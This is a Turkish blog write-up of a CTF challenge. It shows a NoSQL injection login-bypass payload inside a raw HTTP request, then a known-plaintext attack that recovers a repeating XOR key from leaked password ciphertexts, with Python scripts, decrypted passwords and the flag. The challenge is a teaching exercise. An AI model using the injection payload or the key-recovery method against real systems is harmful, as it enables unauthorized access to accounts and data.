Merhaba
Geçtiğimiz çarşamba günü başlayan ve 13 Eylül Pazar günü son bulan MdiseCTF 0x02 – Türk Bayrağı Ödüllü CTF Yarışmasının çözümleri ele alınacaktır. Buyrun sizlerin yaşamış olacağınız süreçleri adım adım ele alarak çözüme ulaşalım.
Login ve WAF
https://0x02.mehmetince.net/ CTF adresi ziyaret edildiğinde bir adet login sayfası çıkmaktaydı. HTML kodlarında herhangi bir ip ucu yoktu. Ayrıca hatalı kullanıcı adı ve parola ikililerinde “Kullanıcı mevcut değildir” gibi bilgi ifşasına neden olan “hatalı” hata mesajlarıda yoktu. Weak password anlamında yapılabilecek testlerde başarısız olacaktı zira kullanıcı adı ve parola admin ve iRlTUqc2Ruk1QIJ7eRTp9ycmDhAPN idi.
Peki bu tür durumlarda ne yapmalı ? sorusuna cevap olarak akla ilk gelen saldırı sql injection yöntemidir. “or”1=”1 gibi bilinen SQL Injection payload’ları ise Web Application Firewall tarafından tespit edilerek engelleniyordu. Bir çok deneme sonunda görülecektir ki ilişkisel veri tabanı sistemlerine yönelik sql injection saldırısı WAF tarafından tespit edilerek başarısız olacaktır. Bu noktada aklımıza gelmesi gereken şey NoSQL Injection olmalıydı. Bu konu daha önce MDISec blogda MongoDB ve NoSQL Injection Zafiyetleri yazısı ile ele alınmıştı.
POST / HTTP/1.1 Host: 0x02.mehmetince.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://0x02.mehmetince.net/ Cookie: __cfduid=ddbc12ffb3747d1d4c75b433b72a885961434145162; __utma=40737342.219702658.1436268683.1439212238.1440328601.4; __utmz=40737342.1436268683.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ga=GA1.2.219702658.1436268683; PHPSESSID=8rtn2l761g1epaleh56rurnvf6 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 24 login[$ne]=test&password[$ne]=test
Yukarıda ki payload ile NoSQL Injection bypass gerçekleştirilebilir.
Excel
Login sonrası erişilen admin sayfasında bizi bir mesaj karşılamaktaydı. “Tebrikler, ilk asama tamam..! Buyrun buradan devam edin. Click” tıklama sonrası ise aşağıdaki request’i bir adet XML dosyasına erişilmiş olacaktı. https://0x02.mehmetince.net/admin.php?c=download Bu XML dosyasını Excel ile açtığınızda aşağıdaki bilgilere erişiliyor olacaktı.
Bu Excel’e ilk bakışta aşağıdaki bilgilere erişmek son derece kolaydır.
- 25 adet isim, soyisim, doğum tarihi, encrypted, pass_reminder kolonları olan veri bulunmaktadır.
- 26. satır ulaşmamız gereken bayraktır.
- Encrypted isimli kolon belli ki kullanıcı parolalarının tutulduğu yerdir.
- Reminder ise kullanıcıların parolalarını hatırlatmak adıyla girdikleri bilgidir.
Şimdi ise sıra şifreli metinlerimizin olduğu encrypted alanında ki verileri analiz etmede. Çünkü FLAG alanında ki veriye erişmek istiyorsak öncelikle şifreleme algoritması hakkında bilgi sahibi olmalıyız.
Cipher
İlk iş base64 bilgiyi decode edip hex olarak alt alta yazarak bakalım.
from itertools import cycle, izip from base64 import b64encode, b64decode from binascii import hexlify CIPHER_TEXT = """DTcYanoKP1o= a11hZwRQ EAdlAgQQFlg= a11hZwRQRQtjXw== IgQRMEM8B3odKg== a11hZwRQRQtj CAQCBAJTRgUAXw== Kg4hIEYJAFc= a11hZw== Il0lOQYgAWc= Kxg3IUUf a11hZwRQ bx1qNEItFFUQHg== Kxg3IUUf Kg4hIEYJAFc= a15jYgBX a11hZw== a1ZnZwBfRwc= a11hZwRQ MwM9JVQfHUY= KRo8IFkPHFY= bFlkZQdQ a11hZwRQ YgEGFFs/HUA1Cw== """ for each in CIPHER_TEXT.split("\n"): s = hexlify(b64decode(each)) print ' '.join(a+b for a,b in zip(s[::2], s[1::2]))
Çıktı olarak tüm cipher-text’lerin hex halini yazdırdık ve çıktı aşağıda ki gibi oldu.
➜ 0x02 git:(master) ✗ python decrypt.py 0d 37 18 6a 7a 0a 3f 5a 6b 5d 61 67 04 50 10 07 65 02 04 10 16 58 6b 5d 61 67 04 50 45 0b 63 5f 22 04 11 30 43 3c 07 7a 1d 2a 6b 5d 61 67 04 50 45 0b 63 08 04 02 04 02 53 46 05 00 5f 2a 0e 21 20 46 09 00 57 6b 5d 61 67 22 5d 25 39 06 20 01 67 2b 18 37 21 45 1f 6b 5d 61 67 04 50 6f 1d 6a 34 42 2d 14 55 10 1e 2b 18 37 21 45 1f 2a 0e 21 20 46 09 00 57 6b 5e 63 62 00 57 6b 5d 61 67 6b 56 67 67 00 5f 47 07 6b 5d 61 67 04 50 33 03 3d 25 54 1f 1d 46 29 1a 3c 20 59 0f 1c 56 6c 59 64 65 07 50 6b 5d 61 67 04 50 62 01 06 14 5b 3f 1d 40 35 0b 3c 03 33 34 4a 32 17 51 28 06 39 3f 54 14 5c 13 12 0e 20 3a 5a 07 2d 51 33 1d 0d 3a 42 39 11 5a 31 0e 20 27 45 0f 1c 5a 20 41 1f 37 58 15 17 70 0e 29 0d 63 49 56 40 6c 31 0e 28 32 5f 07 1c 5a 27
İlk olarak plain-text uzunluklarını analiz edeceğiz. Bu sayede kullanılan encryption algoritması bilinen block-cipher’dan birisi mi ? sorusuna cevap üretmeliyiz. Bunun için script’imizde ufak bir modifikasyon ile bit size’larını ölçeceğiz.
➜ 0x02 git:(master) ✗ python decrypt.py 8 6 8 10 10 9 10 8 4 8 6 6 10 6 8 6 4 8 6 8 8 6 6 10 65
Görüldüğü üzere FLAG datamız 65 karakterden oluşmakta. Bunun haricinde diğer satırlara baktığımızda 4 ile 10 arasında değişimler gözlemlenmektedir. Bu durumda “Hangi bilinen algoritma şifreleme işlemi sonucu 4 ile 10 karakterlik çıktılar verebilir ?” sorusu akıllara gelmektedir.
DES, AES veya Bilinen Block Cipher’lar
Crypto 101 – [2] Block Cipher Encryption ve DES Analizi yazısında ele alındığı üzere, DES 64bitlik yani 8 byte’lık karakterler halinde şifreleme işlemi gerçekleştirmektedir. 64bit’ten küçük blocklar için, örneğin 1337 parolasını şifrelerken, padding adı verilen veriyi 64 bit’e tamamlama işlemi gerçekleştirilmektedir. Bu durumda veriniz 8 byte’tan küçük olsa bile çıktınız 8 ve 8’in katları halinde olacaktır.
Bizim encrypted alanımızda 4,6,9,10 ve 65 byte’lık şifreli veriler bulunmaktadır. Bu bağlamda ne DES nede AES gibi bilinen hiçbir block cipher algoritmasının burada kullanılmadığı aşikardır.
XOR ?
Hex çıktısını sort uniq ile sıralayalım.
➜ 0x02 git:(master) ✗ python decrypt.py|sort|uniq -c 1 08 04 02 04 02 53 46 05 00 5f 1 0d 37 18 6a 7a 0a 3f 5a 1 10 07 65 02 04 10 16 58 1 22 04 11 30 43 3c 07 7a 1d 2a 1 22 5d 25 39 06 20 01 67 1 29 1a 3c 20 59 0f 1c 56 2 2a 0e 21 20 46 09 00 57 2 2b 18 37 21 45 1f 1 33 03 3d 25 54 1f 1d 46 1 62 01 06 14 5b 3f 1d 40 35 0b 1 6b 56 67 67 00 5f 47 07 2 6b 5d 61 67 4 6b 5d 61 67 04 50 1 6b 5d 61 67 04 50 45 0b 63 1 6b 5d 61 67 04 50 45 0b 63 5f 1 6b 5e 63 62 00 57 1 6c 59 64 65 07 50 1 6f 1d 6a 34 42 2d 14 55 10 1e
Görüldüğü üzere 6b 5d 61 67 04 50 encrypted alanı 4 kere geçmekte. Yani 25 kişiden 4 kişinin parolası aynı cipher-text’e sahip. Bu durum bize şifreleme mekanizması içerisinde herhangi bir zaman değeri, kişiye özel üretilmiş karakter katarı vb durumların olmadan doğrudan kullanıcı parolalarının encryption’a girdiğini göstermektedir.
Bir diğer dikkan çeken nokta ise 6b 5d 61 67 serisinin 8 farklı kullanıcının parolasında geçmesidir.
➜ 0x02 git:(master) ✗ python decrypt.py|sort|grep '6b 5d 61 67' 6b 5d 61 67 6b 5d 61 67 6b 5d 61 67 04 50 6b 5d 61 67 04 50 6b 5d 61 67 04 50 6b 5d 61 67 04 50 6b 5d 61 67 04 50 45 0b 63 6b 5d 61 67 04 50 45 0b 63 5f
Bu bilgiler ışığında, kullanılan şifreleme mekanizmasının sadece basit, düz bir XOR olduğunu düşünebiliriz. Bunun nedeni ise FLAG alanı haricinde ki verilerin en fazla 10 byte uzunlukta olmasıdır. Herhangi bir Block Cipher algoritmasının kullanılmadığına emin olduğumuz için FLAG’i decrypt edebilmemiz, onun içinde geriye kalan 25 satırlık veriyi kullanarak private key’i elde etmemiz gerektiğini düşünmemiz son derece mantıklı olacaktır.
Known plaintext attack
Known plaintext attack, saldırganın şifreleme algoritmasına giren plain-text’i ve algoritmanın çıktı olarak verdiği cipher-text’i bildiği ama algoritmanın kendisini veya algoritmada kullanılan private key’i bilmediği durumlarda kullanılan yöntemdir. Eğer şifreleme algoritması known-plaintext attack’a karşı zaafı varsa, OTP XOR gibi, bu iki bilgiden private key’i elde etmek mümkündür.
Peki biz plain-text’i nereden bulacağız ? sorusuna ise iki cevap var, reminder alanı ve Most Common Passwords. Öncelikle reminder alanına bakalım.
as usual one to 9 until4 q one ma birth day my wife says... ... of the spotless mind. devil simple Do not try me
Reminder alanında ki veriler aslında basit anlamda bir çok bilgiyi vermekte. Örneğin; “Dört’e kadar” anlamına gelen until4 büyük ihtimalle parolası “1234” olan kullanıcıyı ifade etmekte. Bir diğer örnek ise “Her zaman olduğu gibi” anlamına gelen “as usual” büyük ihtimalle yer yüzünün en çok kullanılan parolası olan 123456‘yı ifade etmekte. Yahut reminder’ı “ma birth day” olan kişinin parolası, doğum tarihi veya doğum tarihinin iki kere yazılması ile elde edilen bilgidir. ( Excel’de birth_day alanının boş yere koymadığımızı unutmayın!)
Bu bağlamda ben 123456’dan yola çıkarak private key’i elde etmeye çalışacağız. Zaten 6b 5d 61 67 04 50 bilgisinin de 4 defa 25 kişilik listede tekrar etmesi, “Dünyanın en çok kullanılan parolasının, bizim 25 kişilik listemizde de en çok kullanılmış parola olması” ihtimalini son derece güçlendiren bir bulgudur.
>>> from base64 import b64decode as decode >>> from itertools import cycle, izip >>> cipher_text = decode("a11hZwRQ") >>> def encrypt(m,key): ... return ''.join(chr(ord(c)^ord(k)) for c,k in izip(m, cycle(key))) ... >>> >>> print encrypt(cipher_text,"123456") ZoRS1f
Harika! Z0RS1f bilgisi bize yaklaşımımızın doğru olduğunu gösterdi. Ama bir başka problemi de doğurdu. 123456 şifresini tahmin etmekte başarılıydık ama 123456 verisi bizim private key’imizden kısa olabilir. Bu nedenle en baştada ki HEX listesimize dönüp daha uzun bir parolayı tahmin etmeliyiz. Zaten İlk 6 karakteri artık decrypt edebilir durumdayız.
➜ 0x02 git:(master) ✗ python decrypt.py|grep "6b 5d 61 67 04 50" 6b 5d 61 67 04 50 6b 5d 61 67 04 50 45 0b 63 5f 6b 5d 61 67 04 50 45 0b 63 6b 5d 61 67 04 50 6b 5d 61 67 04 50 6b 5d 61 67 04 50
4 adet 123456 parolasının olduğunu biliyorduk. Ama 2 adet daha içerisinde 123456 bütününü barındıran parola olduğu görülmektedir. Bu parolaların reminder’ları var mı ? ona baktığımızda ise hex karşılığı 6b 5d 61 67 04 50 45 0b 63 5f olan parolanın reminder’ı “one to 9” yani “birden dokuza kadar” anlamına gelmekte.
>>> cipher_text = decode("a11hZwRQRQtjXw==") >>> print encrypt(cipher_text,"123456789") ZoRS1fr3Zn >>>
Harika..! Gördüğünüz üzere ZoRS1fr3Zn bilgisini elde ettik. Burada fark edilen şey Z karakterinin tekrar ederek devam etmesi. Bunun sebebi ise parolanın, 123456789’dan daha uzun olan ama başlangıcı kesinlikle 123456789 olması! Private key’den daha uzun bir plain-text geldiği için cycle işlemi gerçekleştirilerek ilk karaktere dönülüp XOR işlemi devam etmektedir. Bu bağlamda
Private Key = ZoRS1fr3
dir.
Flag
Elde edilen key ile tüm metin deşifrelenir ve …
from itertools import cycle, izip from base64 import b64decode CIPHER_TEXT = """DTcYanoKP1o= a11hZwRQ EAdlAgQQFlg= a11hZwRQRQtjXw== IgQRMEM8B3odKg== a11hZwRQRQtj CAQCBAJTRgUAXw== Kg4hIEYJAFc= a11hZw== Il0lOQYgAWc= Kxg3IUUf a11hZwRQ bx1qNEItFFUQHg== Kxg3IUUf Kg4hIEYJAFc= a15jYgBX a11hZw== a1ZnZwBfRwc= a11hZwRQ MwM9JVQfHUY= KRo8IFkPHFY= bFlkZQdQ a11hZwRQ YgEGFFs/HUA1Cw== PAMzNEoyF1EoBjk/VBRcExIOIDpaBy1RMx0NOkI5EVoxDiAnRQ8cWiBBHzdYFRdwDikNY0lWQGwxDigyXwccWic=""" def encrypt(message, key): return ''.join(chr(ord(c)^ord(k)) for c,k in izip(message, cycle(key))) for each in CIPHER_TEXT.split("\n"): print encrypt(b64decode(each), "ZoRS1fr3")
ve sonuç olarak aşağıdaki bilgi elde edilir.
WXJ9KlMi 123456 Jh7Q5vdk 1234567890 xkCcrZuIGE 123456789 RkPW3546Z0 password 1234 x2wj7FsT qwerty 123456 5r8gsKffJq qwerty password 111111 1234 19541954 123456 iloveyou sunshine 666666 123456 8nTGjYosod flag{Tebrikler. Harika_bir_is_cikarttiniz.MdiseCTF_0x02_kazanani}
Değerlendirme Süreci ve Başvuranlar
Değerlendirme süreci şu şekilde olmakta.
- Sadece ve sadece tam/doğru çözümü gönderen kişiler seçilir.
- Çözümü ilk gönderen kişi 100 puan, ikinci gönderen kişi 95 puan şeklinde azalan değerler çözüm gönderen yarışmacılara sırasıyla verilir. En son ise 70 sabitlenecektir. Bu değer T ile ifade edilir.
- Yazılan raporlara değerlendirme ekibi tarafından 100 üzerinden puan verilir. Bu değer R ile ifade edilir.
- T değerinin %25, R değerlerinin %30’u alınır.
- Her katılımcı için 0-20 arasından random seçilen değerin %50’si alınır.
- Bu üç değer toplanır ve
- En yüksek puanı alan yarışmayı kazanır.
Kazanan Kişi
Algoritmamızı uyarlayan ufak bir python kodu..!
#!/usr/bin/env python from __future__ import division from random import randint Users = [ { 'name': 'Halit Alptekin', 'Time': 100, 'Report': 60, }, { 'name': 'Kadir Cetinkaya', 'Time': 95, 'Report': 80, }, ] def chance(): return randint(0, 20) / 2 for user in Users: user['Random'] = chance() user['Final'] = (user['Time']*25 + user['Report']*30) / 100 + user['Random'] print user seq = [x['Final'] for x in Users] print "WINNER IS" print max(Users, key=lambda x:x['Final'])
Bu sonuçlara göre;
➜ 0x02 git:(master) ✗ python winner.py {'Report': 60, 'Random': 3.0, 'Final': 46.0, 'name': 'Halit Alptekin', 'Time': 100} {'Report': 80, 'Random': 10.0, 'Final': 57.75, 'name': 'Kadir Cetinkaya', 'Time': 95} WINNER IS {'Report': 80, 'Random': 10.0, 'Final': 57.75, 'name': 'Kadir Cetinkaya', 'Time': 95}
Kazanan = Kadir Çetinkaya..!
Katılan herkese için teşekkürler.